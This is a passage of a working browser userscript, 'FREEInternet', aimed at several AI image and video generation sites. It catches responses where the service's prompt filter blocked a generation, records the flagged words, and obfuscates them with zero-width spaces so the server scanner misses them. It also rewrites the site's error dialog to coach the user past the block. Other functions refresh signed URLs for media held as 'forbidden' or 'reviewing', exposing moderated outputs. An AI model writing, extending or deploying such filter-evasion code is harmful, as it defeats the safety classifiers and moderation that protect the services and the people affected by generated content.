                  (taskEntry.taskData?.items || [])
                    .map((item, itemIdx) => {
                      if (!item.imageId) return '';
                      return `
                        <div style="background: rgba(30, 41, 59, 0.8); border: 1px solid rgba(99, 102, 241, 0.2); border-radius: 8px; overflow: hidden; transition: all 0.2s; display: flex; flex-direction: column;" onmouseover="this.style.borderColor='#6366f1'; this.style.background='rgba(99, 102, 241, 0.1)'; this.style.transform='translateY(-4px)'; this.style.boxShadow='0 4px 12px rgba(99, 102, 241, 0.2)';" onmouseout="this.style.borderColor='rgba(99, 102, 241, 0.2)'; this.style.background='rgba(30, 41, 59, 0.8)'; this.style.transform='none'; this.style.boxShadow='none';">
                          <!-- Image -->
                          <div style="width: 100%; height: 180px; background: #1e293b; display: flex; align-items: center; justify-content: center; overflow: hidden; border-bottom: 1px solid rgba(99, 102, 241, 0.2);">
                            ${item.url && !item.url.includes('forbidden') && !item.url.includes('reviewing')
                              ? `<img src="${item.url}" style="width: 100%; height: 100%; object-fit: cover;" onerror="this.style.display='none';">`
                              : `<i class="fas ${item.mimeType?.startsWith('video/') ? 'fa-video' : 'fa-image'}" style="font-size: 32px; color: #475569; opacity: 0.5;"></i>`
                            }
                          </div>
                          <!-- Content -->
                          <div style="padding: 12px; flex: 1; display: flex; flex-direction: column; gap: 8px;">
                            <div style="font-weight: 600; font-size: 12px; color: #f1f5f9; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;" title="Task ${taskEntry.taskId} - Item ${itemIdx + 1}">Task ${taskEntry.taskId} - Item ${itemIdx + 1}</div>
                            <div style="font-size: 11px; color: #64748b;">${item.mimeType || 'unknown'} ${item.width && item.height ? '• ' + item.width + 'x' + item.height : ''}</div>
                            <div style="display: flex; gap: 4px; margin-top: auto;">
                              ${item.url && !item.url.includes('forbidden')
                                ? `<button onclick="window.open('${item.url}', '_blank');" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-eye"></i> View</button>`
                                : `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-eye"></i> View</button>`
                              }
                              ${item.url
                                ? `<button onclick="navigator.clipboard.writeText('${item.url}'); this.innerHTML='<i class=\\'fas fa-check\\'></i> Copied!'; setTimeout(() => this.innerHTML='<i class=\\'fas fa-copy\\'></i> Copy', 2000);" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-copy"></i> Copy</button>`
                                : `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-copy"></i> Copy</button>`
                              }
                              ${item.url
                                ? `<button onclick="const a = document.createElement('a'); a.href='${item.url}'; a.download='${item.downloadFileName || 'media'}'; a.click();" style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.4); background: rgba(99, 102, 241, 0.1); color: #cbd5e1; border-radius: 4px; cursor: pointer; font-size: 10px; transition: all 0.2s;" onmouseover="this.style.background='rgba(99, 102, 241, 0.2)'; this.style.borderColor='#6366f1';" onmouseout="this.style.background='rgba(99, 102, 241, 0.1)'; this.style.borderColor='rgba(99, 102, 241, 0.4)';"><i class="fas fa-download"></i> DL</button>`
                                : `<button disabled style="flex: 1; padding: 6px; border: 1px solid rgba(99, 102, 241, 0.2); background: rgba(99, 102, 241, 0.05); color: #64748b; border-radius: 4px; cursor: not-allowed; font-size: 10px; opacity: 0.5;"><i class="fas fa-download"></i> DL</button>`
                              }
                            </div>
                          </div>
                        </div>
                      `;
                    })
                    .join('')
                ).join('')}
              </div>
            </div>
          </div>
        `;

        body.innerHTML = profileHTML;
      } else {
        // Profile not found
        const errorHTML = `
          <div style="min-height: 100vh; display: flex; align-items: center; justify-content: center; background: #0f172a;">
            <div style="text-align: center; padding: 60px 20px; color: #cbd5e1; max-width: 400px;">
              <i class="fas fa-exclamation-circle" style="font-size: 48px; color: #94a3b8; display: block; margin-bottom: 16px; opacity: 0.6;"></i>
              <h2 style="margin: 0 0 12px 0; color: #f1f5f9; font-size: 22px;">Profile Not Found</h2>
              <p style="margin: 0 0 24px 0; font-size: 14px; color: #94a3b8;">The profile "${escapeHtml(profileName)}" does not exist or is empty.</p>
              <button onclick="window.location.href='https://freeinternet.tensor.art/';" style="color: #6366f1; text-decoration: none; font-weight: 600; display: inline-block; padding: 10px 20px; border: 1px solid #6366f1; border-radius: 6px; transition: all 0.2s; cursor: pointer; background: transparent;"
                 onmouseover="this.style.background='rgba(99, 102, 241, 0.1)'"
                 onmouseout="this.style.background='transparent'">
                ← Back to FREEInternet
              </button>
            </div>
          </div>
        `;

        body.innerHTML = errorHTML;
      }
    }, 100);
  }

  // Only inject styles if not on profile page
  const isProfilePage = !!window.location.href.match(/freeinternet\.tensor\.art.*freeinternet\?profiles=/);
  if (!isProfilePage && (IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN)) {
    injectStyles();
  }

  if (IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN) {
    fetchRemoteConfig(); // Load remote config and announcements
    startRemoteConfigWatcher();

    document.addEventListener('visibilitychange', () => {
      if (document.visibilityState === 'visible') {
        fetchRemoteConfigWithOptions({ force: true, reason: 'tab-visible' });
        startRemoteConfigWatcher();
      }
    });

    // Load shared settings if enabled (Tensor domains only)
    if (IS_TENSOR_DOMAIN && settings.tensorhubShareSettings) {
      loadSharedSettings();
    }
  }

  // Developer inject system (runs user-defined inject tasks on matching pages)
  if (!isProfilePage) {
    startDeveloperInjectSystem();
  }

  // ── Auto Recheck Links On Load ──────────────────────────────────────────────
  // When enabled: runs on page load WITHOUT opening the floating panel.
  // Loads all cached items, checks their signed-URL expiry, refreshes stale ones,
  // updates cache.  Console logs are kept minimal to avoid spam.
  async function startAutoRecheckLinksOnLoad() {
    if (!settings.autoRecheckLinksOnLoad || !IS_TENSOR_DOMAIN) return;
    // Wait for cache to be fully loaded
    await new Promise(r => setTimeout(r, 1200));
    const allItems = Array.isArray(itemsData) ? [...itemsData] : [];
    if (!allItems.length) {
      freeInternetConsoleLog('Tensor', 'info', '[AutoRecheck] No cached items to check.', {});
      return;
    }
    const now = Date.now();
    freeInternetConsoleLog('Tensor', 'info', `[AutoRecheck] Initializing — checking ${allItems.length} cached item(s) for stale/expired URLs…`, {});

    let refreshed = 0, skippedExpired = 0, alreadyFresh = 0, failed = 0;

    // Separate items into "already fresh" and "need refresh"
    const needRefresh = [];
    for (const item of allItems) {
      const imageId = item.id || item.imageId;
      if (!imageId) continue;

      // Check hard expiry (task-level expireAt)
      const taskExpiry = normalizeTimestamp(item.expiresAt || item.expireAt);
      if (taskExpiry && now > taskExpiry) {
        skippedExpired++;
        continue;
      }

      // Check if cached URL is still fresh
      const cachedUrl = getCachedDownloadUrl(imageId, item.mimeType || '');
      if (cachedUrl && isUsableBypassMediaUrl(cachedUrl, { minRemainingMs: 5 * 60 * 1000 })) {
        alreadyFresh++;
        continue;
      }

      needRefresh.push(item);
    }

    freeInternetConsoleLog('Tensor', 'info', `[AutoRecheck] ${needRefresh.length} items need refresh, ${alreadyFresh} already fresh, ${skippedExpired} task-expired.`, {});

    if (needRefresh.length === 0) {
      freeInternetConsoleLog('Tensor', 'info', '[AutoRecheck] Nothing to refresh.', {});
      return;
    }

    // Fire all ensureDownloadUrl calls at once — the batch queue will collect
    // them all during the 60ms debounce window and send in groups of 30 IDs
    // per request with 1s between batches.
    const refreshPromises = needRefresh.map(item => {
      const imageId = String(item.id || item.imageId);
      return ensureDownloadUrl(imageId, item.mimeType || '', { bypassCache: true, minExpiryMs: 5 * 60 * 1000 })
        .then(fresh => {
          if (fresh) {
            itemsData = itemsData.map(i => (String(i.id || i.imageId) === imageId) ? { ...i, url: fresh, bypassedUrl: fresh } : i);
            refreshed++;
          } else {
            failed++;
          }
        })
        .catch(() => { failed++; });
    });

    await Promise.all(refreshPromises);

    schedulePersistDownloadUrlCache();
    freeInternetConsoleLog('Tensor', refreshed > 0 ? 'success' : 'info',
      `[AutoRecheck] Done — refreshed: ${refreshed}, already fresh: ${alreadyFresh}, task-expired: ${skippedExpired}, failed: ${failed}`, {});
    if (refreshed > 0) {
      showToast(`Auto-recheck: refreshed ${refreshed} link(s)`, 'success');
      // Refresh items tab if open
      tabContentCache.delete('home');
      if (isExpanded && currentTab === 'home') updateUI(false);
    }
  }

  // ── Tensor Prompt Blocked (1300018) Response Handler ─────────────────────────
  // Called when works/task returns code 1300018; extracts the flagged words,
  // optionally auto-adds them to the bypass list, then patches the Naive UI
  // error dialog the page renders so the user sees a helpful message instead.
  async function processTensorPromptBlockedResponse(fetchUrl, responseLike) {
    if (!responseLike) return;
    try {
      const cloned = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
      let body = null;
      if (typeof cloned.json === 'function') {
        body = await cloned.json();
      } else if (typeof cloned.responseText === 'string') {
        try { body = JSON.parse(cloned.responseText || '{}'); } catch { /* ignore */ }
      } else if (typeof cloned.response === 'object' && cloned.response) {
        body = cloned.response;
      }
      if (!body || String(body.code) !== '1300018') return;

      const detectedWords = tensorParseBlockedWords(body.message || '');
      console.log('%c[FREEInternet PromptBypass]%c 🚫 Generation blocked by server — detected words: ' + (detectedWords.join(', ') || '(none parsed)'),
        'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#f87171; font-weight:700;', { body });

      if (settings.promptBypassDynamicDetect && detectedWords.length) {
        const existing = Array.isArray(settings.promptBypassWords) ? settings.promptBypassWords : [];
        const newWords = detectedWords.filter(w => !existing.includes(w));
        if (newWords.length) {
          settings.promptBypassWords = [...existing, ...newWords];
          saveSettings();
          console.log('%c[FREEInternet PromptBypass]%c ✅ Auto-added ' + newWords.length + ' new word(s) to bypass list: ' + newWords.join(', '),
            'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#86efac; font-weight:700;');
          showToast(`Prompt Bypass: learned ${newWords.length} new word(s) — ${newWords.join(', ')}. Try again!`, 'info');
        }
      }

      // Patch the Naive UI dialog that the page renders for this error
      patchTensorPromptBlockedDialog(detectedWords);
    } catch { /* non-fatal */ }
  }

  // Replace the "Generate failed" error dialog text with a helpful bypass message.
  function patchTensorPromptBlockedDialog(detectedWords) {
    const tryPatch = (attempts = 0) => {
      const dialogs = document.querySelectorAll('.n-dialog.n-modal, .n-dialog[role="dialog"]');
      let patched = false;
      dialogs.forEach(dlg => {
        if (dlg.dataset.fiPbPatched) return;
        const titleEl = dlg.querySelector('.n-dialog__title');
        const contentEl = dlg.querySelector('.n-dialog__content');
        if (!titleEl || !contentEl) return;
        const titleText = titleEl.textContent || '';
        const contentText = contentEl.textContent || '';
        if (!titleText.toLowerCase().includes('generate failed') && !contentText.toLowerCase().includes('sensitive content') && !contentText.toLowerCase().includes('prohibited words')) return;
        dlg.dataset.fiPbPatched = '1';
        patched = true;

        // Patch icon: replace the X circle with a wrench shield icon
        const iconEl = dlg.querySelector('.n-dialog__icon');
        if (iconEl) {
          iconEl.innerHTML = `<svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px;">
            <path d="M12 2L4 6v6c0 5.25 3.5 10.15 8 11.35C16.5 22.15 20 17.25 20 12V6L12 2z" fill="#7c3aed" opacity=".2"/>
            <path d="M12 2L4 6v6c0 5.25 3.5 10.15 8 11.35C16.5 22.15 20 17.25 20 12V6L12 2z" stroke="#a78bfa" stroke-width="1.5" fill="none"/>
            <path d="M9 12l2 2 4-4" stroke="#a78bfa" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
          </svg>`;
        }
        // Patch title
        titleEl.innerHTML = `<span style="color:#a78bfa;font-size:15px;font-weight:700;">⚡ Prompt Bypass Active</span>`;
        // Patch content
        const wordsHtml = detectedWords.length
          ? `<span style="background:rgba(239,68,68,0.12);color:#fca5a5;padding:2px 8px;border-radius:6px;font-family:monospace;font-size:12px;">[${detectedWords.map(w => `<b>${w}</b>`).join(', ')}]</span>`
          : `<span style="color:#f87171;font-size:12px;">(could not parse words from response)</span>`;
        const addedNote = (settings.promptBypassDynamicDetect && detectedWords.length)
          ? `<br><span style="color:#86efac;font-size:11px;margin-top:4px;display:block;">✅ Word(s) auto-added to your bypass list &amp; saved. <b>Try generating again</b> — the obfuscator will handle them.</span>`
          : `<br><span style="color:#fbbf24;font-size:11px;margin-top:4px;display:block;">💡 Enable <b>Dynamic Word Detect</b> in Settings → XHR → Prompt Bypass to auto-add blocked words.</span>`;
        contentEl.innerHTML = `
          <div style="font-size:13px;line-height:1.55;color:#e2e8f0;">
            <div style="margin-bottom:6px;">The server flagged these words in your prompt:</div>
            <div style="margin-bottom:8px;">${wordsHtml}</div>
            <div style="color:#c4b5fd;font-size:12px;">The bypass obfuscator <b>inserts zero-width spaces</b> between letters of each known bad word — the text looks identical to you but the server scanner can't match it.</div>
            ${addedNote}
            <div style="margin-top:8px;color:#94a3b8;font-size:11px;">Close this dialog and click <b>Generate</b> again.</div>
          </div>`;
        console.log('%c[FREEInternet PromptBypass]%c ✏️ Patched error dialog in DOM', 'background:#7c3aed;color:#fff;font-weight:700;padding:2px 6px;border-radius:4px;', 'color:#c4b5fd;');
      });
      if (!patched && attempts < 8) {
        setTimeout(() => tryPatch(attempts + 1), 250);
      }
    };
    setTimeout(() => tryPatch(), 80);
  }

  // ── Library Assign Feature ───────────────────────────────────────────────────
  // Watches for pluscircle "Add to library" buttons on Tensor pages.
  // • Hover pluscircle  → tooltip explaining the bypass-cache benefit
  // • Click  pluscircle → sets a callback so the XHR intercept can capture the imageId
  // • Checkcircle shown (added) → click opens / focuses tensor.art/library tab
  function openOrFocusTensorLibrary() {
    const LIB_URL = 'https://tensor.art/library';
    if (_libraryTabRef && !_libraryTabRef.closed) {
      try { _libraryTabRef.focus(); _libraryTabRef.location.reload(); return; } catch { /* cross-origin or closed */ }
    }
    const pw = typeof pageWindow !== 'undefined' ? pageWindow : window;
    _libraryTabRef = pw.open(LIB_URL, '_blank');
  }

  let _libraryAssignDomObserver = null;
  function startLibraryAssignFeature() {
    if (!IS_TENSOR_DOMAIN) return;
    const PROC_ATTR = 'data-fi-libassign';
    const PLUS_TIP = 'Add this bypassed media to your library — the signed URL will be auto-cached so the video stays accessible via the bypass panel even after the task queue expires.';
    const CHECK_TIP = 'Added to library — click to open your Library tab';
    let _tipEl = null;

    const showTip = (anchor, text) => {
      if (_tipEl) _tipEl.remove();
      _tipEl = document.createElement('div');
      _tipEl.style.cssText = 'position:fixed;z-index:2147483647;background:#1e293b;color:#e2e8f0;font-size:12px;line-height:1.45;padding:8px 12px;border-radius:8px;border:1px solid rgba(99,102,241,0.4);max-width:280px;box-shadow:0 4px 16px rgba(0,0,0,0.55);pointer-events:none;';
      _tipEl.textContent = text;
      document.body.appendChild(_tipEl);
      const r = anchor.getBoundingClientRect();
      const tw = _tipEl.offsetWidth, th = _tipEl.offsetHeight;
      let top = r.top - th - 8, left = r.left + r.width / 2 - tw / 2;
      if (top < 8) top = r.bottom + 8;
      if (left < 8) left = 8;
      if (left + tw > window.innerWidth - 8) left = window.innerWidth - tw - 8;
      _tipEl.style.top = top + 'px';
      _tipEl.style.left = left + 'px';
    };
    const hideTip = () => { if (_tipEl) { _tipEl.remove(); _tipEl = null; } };

    const processPluscircle = (iconEl) => {
      if (iconEl.getAttribute(PROC_ATTR)) return;
      iconEl.setAttribute(PROC_ATTR, '1');
      const container = iconEl.parentElement;
      if (!container) return;
      container.addEventListener('mouseenter', () => showTip(container, PLUS_TIP), { passive: true });
      container.addEventListener('mouseleave', hideTip, { passive: true });
      // Capture phase: fires before Tensor's own click handler so we register the callback first.
      container.addEventListener('click', () => {
        _libraryAssignPendingCallback = (imageId) => {
          _libraryAssignedIds.add(imageId);
          tensorInterceptLog('info', 'Library Assign: imageId captured from entry/create', { imageId, total: _libraryAssignedIds.size });
        };
        // Safety: clear pending after 15s if entry/create never fires
        setTimeout(() => { if (_libraryAssignPendingCallback) _libraryAssignPendingCallback = null; }, 15000);
      }, true);
    };

    const processCheckcircle = (iconEl) => {
      if (iconEl.getAttribute(PROC_ATTR)) return;
      iconEl.setAttribute(PROC_ATTR, '1');
      const container = iconEl.parentElement;
      if (!container) return;
      container.addEventListener('mouseenter', () => showTip(container, CHECK_TIP), { passive: true });
      container.addEventListener('mouseleave', hideTip, { passive: true });
      container.addEventListener('click', (e) => {
        e.stopPropagation();
        e.preventDefault();
        openOrFocusTensorLibrary();
      });
      container.style.cursor = 'pointer';
    };

    const scan = () => {
      document.querySelectorAll('iconpark-icon[icon-id="pluscircle"][title="Add to library"]').forEach(el => {
        if (!el.getAttribute(PROC_ATTR)) processPluscircle(el);
      });
      document.querySelectorAll('iconpark-icon[icon-id="checkcircle"][title="library added"]').forEach(el => {
        if (!el.getAttribute(PROC_ATTR)) processCheckcircle(el);
      });
    };

    const attachObs = () => {
      const target = document.body || document.documentElement;
      if (!target) { setTimeout(attachObs, 100); return; }
      if (_libraryAssignDomObserver) _libraryAssignDomObserver.disconnect();
      _libraryAssignDomObserver = new MutationObserver(() => scan());
      _libraryAssignDomObserver.observe(target, { childList: true, subtree: true, attributes: true, attributeFilter: ['icon-id'] });
      scan();
    };
    attachObs();
  }

  // ── Error Detection / Correction ────────────────────────────────────────────
  // Scans the page DOM for task video/image cards that still show forbidden.jpg
  // or reviewing.png despite having a valid non-forbidden item.url in our cache.
  // Injects a small "⚠ Fix" badge on the card; clicking it opens the correction dialog.
  let _errorDetectObserver = null;
  function startErrorDetectionLoop() {
    if (!settings.errorDetectionEnabled || !IS_TENSOR_DOMAIN) return;
    const scan = () => {
      // Look for task card video (plyr) or image containers that still use a forbidden src
      document.querySelectorAll(
        'video source[src*="forbidden"], video source[src*="reviewing"], img[src*="forbidden.jpg"], img[src*="reviewing.png"]'
      ).forEach(el => {
        // Walk up to find the containing task card (has routeId or task-related data)
        let card = el;
        for (let i = 0; i < 15; i++) {
          card = card.parentElement;
          if (!card) break;
          if (card.dataset.fiBypFix) return; // already injected
          // Tensor task card container: look for the Details section with Task ID
          const routeSpan = card.querySelector('.font-mono.c-text-primary');
          if (routeSpan) break;
        }
        if (!card || card.dataset.fiBypFix) return;
        // Extract routeId: last span.font-mono text matches the pattern
        const routeSpan = card.querySelector('.font-mono.c-text-primary');
        if (!routeSpan) return;
        const routeId = (routeSpan.textContent || '').trim();
        if (!routeId) return;
        card.dataset.fiBypFix = '1';

        const badge = document.createElement('button');
        badge.title = 'URL not bypassed — click to diagnose & fix';
        badge.style.cssText = `
          position:absolute; top:8px; left:8px; z-index:9999;
          background:#ef4444; color:#fff; border:none; border-radius:6px;
          padding:3px 8px; font-size:11px; font-weight:700; cursor:pointer;
          box-shadow:0 2px 8px rgba(0,0,0,.45); line-height:1.4;
          display:flex; align-items:center; gap:4px;
        `;
        badge.innerHTML = '<i class="fas fa-triangle-exclamation"></i> Fix';
        badge.onclick = (e) => { e.stopPropagation(); showErrorCorrectionDialog(routeId); };
        // Ensure card is positioned
        const pos = window.getComputedStyle(card).position;
        if (pos === 'static' || !pos) card.style.position = 'relative';
        card.appendChild(badge);
      });
    };

    scan();
    if (_errorDetectObserver) _errorDetectObserver.disconnect();
    _errorDetectObserver = new MutationObserver(() => scan());
    const observeTarget = document.body || document.documentElement;
    if (observeTarget) {
      _errorDetectObserver.observe(observeTarget, { childList: true, subtree: true });
    } else {
      // body not ready yet — wait for it
      const waitForBody = setInterval(() => {
        const target = document.body || document.documentElement;
        if (!target) return;
        clearInterval(waitForBody);
        _errorDetectObserver.observe(target, { childList: true, subtree: true });
        scan();
      }, 100);
    }
  }

  // derivedTaskId: routeId → taskId by stripping the last 4 digits
  function routeIdToTaskId(routeId) {
    const s = String(routeId || '').trim();
    return s.length > 4 ? s.slice(0, -4) : s;
  }

  // Full error correction dialog
  async function showErrorCorrectionDialog(routeIdOrTaskId) {
    // Remove existing dialog if reused
    const existing = document.getElementById('fi-err-dialog');
    if (existing) existing.remove();

    const overlay = document.createElement('div');
    overlay.id = 'fi-err-dialog';
    overlay.style.cssText = `
      position:fixed; inset:0; z-index:2147483647;
      background:rgba(0,0,0,.72); display:flex; align-items:center; justify-content:center;
    `;

    const box = document.createElement('div');
    box.style.cssText = `
      background:#1e293b; border:1px solid #334155; border-radius:14px;
      padding:24px; width:min(520px,92vw); color:#e2e8f0; font-family:system-ui,sans-serif;
      position:relative;
    `;

    const close = document.createElement('button');
    close.innerHTML = '&times;';
    close.style.cssText = `
      position:absolute; top:12px; right:14px; background:none; border:none;
      color:#94a3b8; font-size:22px; cursor:pointer; line-height:1;
    `;
    close.onclick = () => overlay.remove();

    const title = document.createElement('div');
    title.style.cssText = 'font-size:16px; font-weight:800; color:#f87171; margin-bottom:16px; display:flex; align-items:center; gap:8px;';
    title.innerHTML = '<i class="fas fa-shield-exclamation"></i> Error Detection &amp; Correction';

    const log = document.createElement('div');
    log.style.cssText = `
      font-size:12px; line-height:1.6; padding:12px; border-radius:8px;
      background:#0f172a; border:1px solid #1e293b; max-height:280px;
      overflow-y:auto; margin-bottom:16px; white-space:pre-wrap; word-break:break-word;
    `;

    const addLog = (txt, color = '#94a3b8') => {
      const line = document.createElement('div');
      line.style.color = color;
      line.textContent = `${new Date().toLocaleTimeString()}  ${txt}`;
      log.appendChild(line);
      log.scrollTop = log.scrollHeight;
    };

    const footer = document.createElement('div');
    footer.style.cssText = 'display:flex; gap:8px; justify-content:flex-end; flex-wrap:wrap;';

    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:7px 14px;';
    closeBtn.textContent = 'Close';
    closeBtn.onclick = () => overlay.remove();

    const retryBtn = document.createElement('button');
    retryBtn.className = 'bypass-btn bypass-btn-primary';
    retryBtn.style.cssText = 'width:auto; padding:7px 14px;';
    retryBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Retry Fix';
    retryBtn.onclick = () => runFix();

    footer.appendChild(closeBtn);
    footer.appendChild(retryBtn);

    box.appendChild(close);
    box.appendChild(title);
    box.appendChild(log);
    box.appendChild(footer);
    overlay.appendChild(box);
    overlay.onclick = (e) => { if (e.target === overlay) overlay.remove(); };
    document.body.appendChild(overlay);

    const runFix = async () => {
      retryBtn.disabled = true;
      log.innerHTML = '';
      addLog(`Diagnosing routeId/taskId: ${routeIdOrTaskId}`, '#94a3b8');

      const now = Date.now();
      // Derive both ids
      const routeId = String(routeIdOrTaskId).trim();
      const taskId = routeIdToTaskId(routeId);
      addLog(`Derived taskId: ${taskId}`, '#94a3b8');

      // Search taskMap and itemsData
      let foundTask = taskMap.get(taskId) || taskMap.get(routeId) || null;
      if (!foundTask) {
        // Brute-force search taskMap
        for (const [, t] of taskMap) {
          if (String(t.taskId) === taskId || String(t.routeId) === routeId || String(t.taskId) === routeId) {
            foundTask = t;
            break;
          }
        }
      }

      const matchedItems = itemsData.filter(i => {
        return String(i.taskId) === taskId || String(i.taskId) === routeId;
      });

      if (!foundTask && !matchedItems.length) {
        addLog(`❌ Not found in cache. Task may have expired or not been captured yet.`, '#ef4444');
        retryBtn.disabled = false;
        return;
      }

      addLog(`Found in cache — ${matchedItems.length} item(s) for this task.`, '#86efac');

      // Check hard task expiry
      const expireAt = normalizeTimestamp(
        foundTask?.expireAt || foundTask?.expiresAt || matchedItems[0]?.expiresAt || matchedItems[0]?.expireAt
      );
      if (expireAt) {
        const remainMs = expireAt - now;
        if (remainMs <= 0) {
          const expiredOn = new Date(expireAt).toLocaleString();
          addLog(`❌ Task hard-expired on ${expiredOn}. Cannot refresh — the generation is gone.`, '#ef4444');
          retryBtn.disabled = false;
          return;
        }
        const remainDays = (remainMs / 86400000).toFixed(1);
        addLog(`Task expires in ${remainDays} day(s) — attempting URL refresh.`, '#fbbf24');
      } else {
        addLog(`No expiry info found — attempting URL refresh.`, '#fbbf24');
      }

      let fixedCount = 0;
      for (const item of matchedItems.length ? matchedItems : [{ id: taskId, mimeType: 'video/mp4' }]) {
        const imageId = item.id || item.imageId || taskId;
        addLog(`Refreshing imageId: ${imageId}…`, '#94a3b8');
        try {
          const fresh = await ensureDownloadUrl(imageId, item.mimeType || '', { bypassCache: true });
          if (fresh) {
            // ensureDownloadUrl already sets the cache internally
            itemsData = itemsData.map(i => (String(i.id || i.imageId) === String(imageId)) ? { ...i, url: fresh, bypassedUrl: fresh } : i);
            addLog(`✅ Refreshed imageId ${imageId} — new URL cached.`, '#86efac');
            fixedCount++;
          } else {
            addLog(`❌ Endpoint returned no URL for ${imageId}.`, '#ef4444');
          }
        } catch (err) {
          addLog(`❌ Error for ${imageId}: ${String(err?.message || err)}`, '#ef4444');
        }
      }

      if (fixedCount > 0) {
        schedulePersistDownloadUrlCache();
        tabContentCache.delete('home');
        addLog(`✅ Fixed ${fixedCount} item(s). Bypass URL(s) updated in cache.`, '#86efac');
        showToast(`Error correction: fixed ${fixedCount} item(s)`, 'success');
        // Remove fix badges from this card
        document.querySelectorAll('[data-fi-byp-fix]').forEach(el => {
          if ((el.querySelector('.font-mono.c-text-primary')?.textContent || '').trim() === routeId) {
            delete el.dataset.fiBypFix;
          }
        });
        if (isExpanded && currentTab === 'home') updateUI(false);
      } else {
        addLog(`No items could be fixed.`, '#f87171');
      }

      retryBtn.disabled = false;
    };

    await runFix();
  }

  // Tensor-only features/UI (do not run on Instagram or other @match sites)
  if (IS_TENSOR_DOMAIN) {
    startAutoCheck();
    startDomInjectionWatcher();
    startSettingsPageCheck();
    startTaskMonitoring();
    startProfileMenuWatcher();
    startNotificationInjectionLoop();
    startDropdownWatcher(); // Watch for task dropdown menus
    loadCachedTasksIntoItems();
    initTensorhubListener(); // Initialize TensorHub listener if on tensorhub domain
    if (settings.autoRecheckLinksOnLoad) startAutoRecheckLinksOnLoad();
    if (settings.errorDetectionEnabled) startErrorDetectionLoop();
    startLibraryAssignFeature(); // always active: pluscircle tooltip + checkcircle → open library
    checkAndApplyDeletionRules(); // Check and apply any configured deletion rules
    updateUI();
    // Inject collapse button early on page load
    injectCollapseButtonEarly();
  } else if (IS_PIXVERSE_DOMAIN) {
    // Lightweight floating panel on Pixverse
    updateUI();
    if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
  } else if (IS_DIGEN_DOMAIN) {
    // Lightweight floating panel on Digen
    updateUI();
    if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
  } else if (IS_GROK_DOMAIN) {
    // Lightweight floating panel on Grok/X
    updateUI();
    if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
  } else if (IS_HIGGSFIELD_DOMAIN) {
    // Lightweight floating panel on Higgsfield
    updateUI();
    if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
  } else if (IS_HAILUO_DOMAIN) {
    // Lightweight floating panel on Hailuo
    updateUI();
    if (shouldShowUiOnCurrentDomain()) injectCollapseButtonEarly();
  }
})();